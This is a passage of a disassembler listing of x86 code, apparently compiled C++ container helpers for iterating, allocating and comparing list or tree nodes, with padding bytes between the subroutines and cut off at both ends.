--------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415070 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401EBA sub_415070 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016CC mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_40172B mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4150F0 proc near ; CODE XREF: sub_401578j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D89 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401465 mov edx, [esi+4] mov ecx, esi push edx call sub_401CD5 sub_4150F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415160 proc near ; CODE XREF: sub_4012E9j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_415160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151A0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_4151A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151D0 proc near ; CODE XREF: sub_40147Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D89 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40215D sub_4151D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415210 proc near ; CODE XREF: sub_401258j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_401D89 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4012E9 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401D5C test al, al jz short loc_415291 push edi mov edi, [esp+14h+arg_0] loc_415243: ; CODE XREF: sub_415210+7Ej lea ecx, [esp+14h+var_C] call sub_401FA5 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415275 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_40156E mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- jmp short loc_41527E ; --------------------------------------------------------------------------- loc_415275: ; CODE XREF: sub_415210+42j lea ecx, [esp+14h+var_C] call sub_4020A4 loc_41527E: ; CODE XREF: sub_415210+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401D5C test al, al jnz short loc_415243 pop edi loc_415291: ; CODE XREF: sub_415210+2Cj pop esi add esp, 0Ch retn 4 sub_415210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152D0 proc near ; CODE XREF: sub_401E1Fj push esi mov esi, ecx call sub_401EB5 mov eax, esi pop esi retn sub_4152D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152F0 proc near ; CODE XREF: sub_401FA5j mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_4152F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415310 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415340 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015CD neg al sbb eax, eax inc eax retn 4 sub_415340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415370 proc near ; CODE XREF: sub_401F05j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C7B sub_415370 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4153B0 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E1A sub_4153B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401983j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401249 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415460 proc near ; CODE XREF: sub_402234j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_401EF1j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402234 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A96 sub_415490 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154D0 proc near ; CODE XREF: sub_401924j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4154D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415520 proc near ; CODE XREF: sub_401154j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_402234 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_401983 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401AD7 test al, al jz short loc_4155A1 push edi mov edi, [esp+14h+arg_0] loc_415553: ; CODE XREF: sub_415520+7Ej lea ecx, [esp+14h+var_C] call sub_4011D1 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415585 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_4010DC mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- jmp short loc_41558E ; --------------------------------------------------------------------------- loc_415585: ; CODE XREF: sub_415520+42j lea ecx, [esp+14h+var_C] call sub_4018B6 loc_41558E: ; CODE XREF: sub_415520+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401AD7 test al, al jnz short loc_415553 pop edi loc_4155A1: ; CODE XREF: sub_415520+2Cj pop esi add esp, 0Ch retn 4 sub_415520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155E0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E79 mov eax, esi pop esi retn sub_4155E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402126 add esp, 4 retn sub_415600 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415620 proc near ; CODE XREF: sub_4018B6j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415620 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415650 proc near ; CODE XREF: sub_401AD7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EA6 neg al sbb eax, eax inc eax retn 4 sub_415650 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415680 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DA2 sub_415680 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4156C0 proc near ; CODE XREF: sub_4014B5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 mov edx, [esi+4] mov ecx, esi push edx call sub_401EF6 sub_4156C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401BB8 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415770 proc near ; CODE XREF: sub_40114Aj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415770 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157A0 proc near ; CODE XREF: sub_401406j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401CFD sub_4157A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4157E0 proc near ; CODE XREF: sub_401C62j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 pop esi add esp, 0Ch retn sub_4157E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415830 proc near ; CODE XREF: sub_402130j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_40114A lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4018F2 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401339 test al, al jz short loc_4158B1 push edi mov edi, [esp+14h+arg_0] loc_415863: ; CODE XREF: sub_415830+7Ej lea ecx, [esp+14h+var_C] call sub_40135C mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415895 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401EA1 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41589E ; --------------------------------------------------------------------------- loc_415895: ; CODE XREF: sub_415830+42j lea ecx, [esp+14h+var_C] call sub_40118B loc_41589E: ; CODE XREF: sub_415830+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401339 test al, al jnz short loc_415863 pop edi loc_4158B1: ; CODE XREF: sub_415830+2Cj pop esi add esp, 0Ch retn 4 sub_415830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158F0 proc near ; CODE XREF: sub_402252j push esi mov esi, ecx call sub_401E29 mov eax, esi pop esi retn sub_4158F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017DA add esp, 4 retn sub_415910 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415930 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BB8 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415930 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415960 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40144C neg al sbb eax, eax inc eax retn 4 sub_415960 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415990 proc near ; CODE XREF: sub_40113Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_415990 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159D0 proc near ; CODE XREF: sub_4016CCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_4159D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415A00 proc near ; CODE XREF: sub_40215Dj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C4E mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401EBA sub_415A00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401EFB add esp, 4 mov ecx, esi push eax call sub_402194 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401DA7 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AA0 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CA8 test al, al jz short loc_415AED push edi mov edi, [esp+8+arg_0] loc_415ABA: ; CODE XREF: sub_415AA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A4B push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40215D ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_4020EF lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CA8 test al, al jnz short loc_415ABA pop edi loc_415AED: ; CODE XREF: sub_415AA0+13j pop esi retn 0Ch sub_415AA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B20 proc near ; CODE XREF: sub_401FAFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40156E mov ecx, eax call sub_401C4E mov esi, eax push esi call sub_40208B push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_40208B mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401EFB add esp, 1Ch mov ecx, edi push eax call sub_4014F6 push esi mov ecx, edi call sub_401CD5 sub_415B20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_401465j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jz short loc_415C3A loc_415BF8: ; CODE XREF: sub_415BE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40156E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jnz short loc_415BF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415C3A: ; CODE XREF: sub_415BE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415BE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C70 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020D6 sub_415C70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415C85 mov edi, esi loc_415C85: ; CODE XREF: ___:00415C81j push esi call sub_40208B mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415C9A mov edi, esi loc_415C9A: ; CODE XREF: ___:00415C96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415CC0 proc near ; CODE XREF: sub_401CD5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E01 sub_415CC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40208Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415CE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; CODE XREF: sub_401EFBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415D00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D20 proc near ; CODE XREF: sub_401EB5j mov eax, ecx retn sub_415D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D40 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401753 mov eax, esi pop esi retn 4 sub_415D40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020A4 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415D70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DA0 proc near ; CODE XREF: sub_4015CDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415DA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DD0 proc near ; CODE XREF: sub_401A96j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F6E mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C7B sub_415DD0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402126 add esp, 4 mov ecx, esi push eax call sub_4015E6 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401CC6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415E70 proc near ; CODE XREF: sub_4017DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F6E mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402126 add esp, 1Ch mov ecx, edi push eax call sub_401D4D push esi mov ecx, edi call sub_401E1A sub_415E70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415F30 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jz short loc_415F8A loc_415F48: ; CODE XREF: sub_415F30+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jnz short loc_415F48 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415F8A: ; CODE XREF: sub_415F30+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415F30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415FC0 proc near ; CODE XREF: sub_401C7Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015A5 sub_415FC0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415FD5 mov edi, esi loc_415FD5: ; CODE XREF: ___:00415FD1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415FEA mov edi, esi loc_415FEA: ; CODE XREF: ___:00415FE6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416010 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416010 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416030 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416050 proc near ; CODE XREF: sub_402126j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416070 proc near ; CODE XREF: sub_401E79j mov eax, ecx retn sub_416070 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416090 proc near ; CODE XREF: sub_401CC6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, 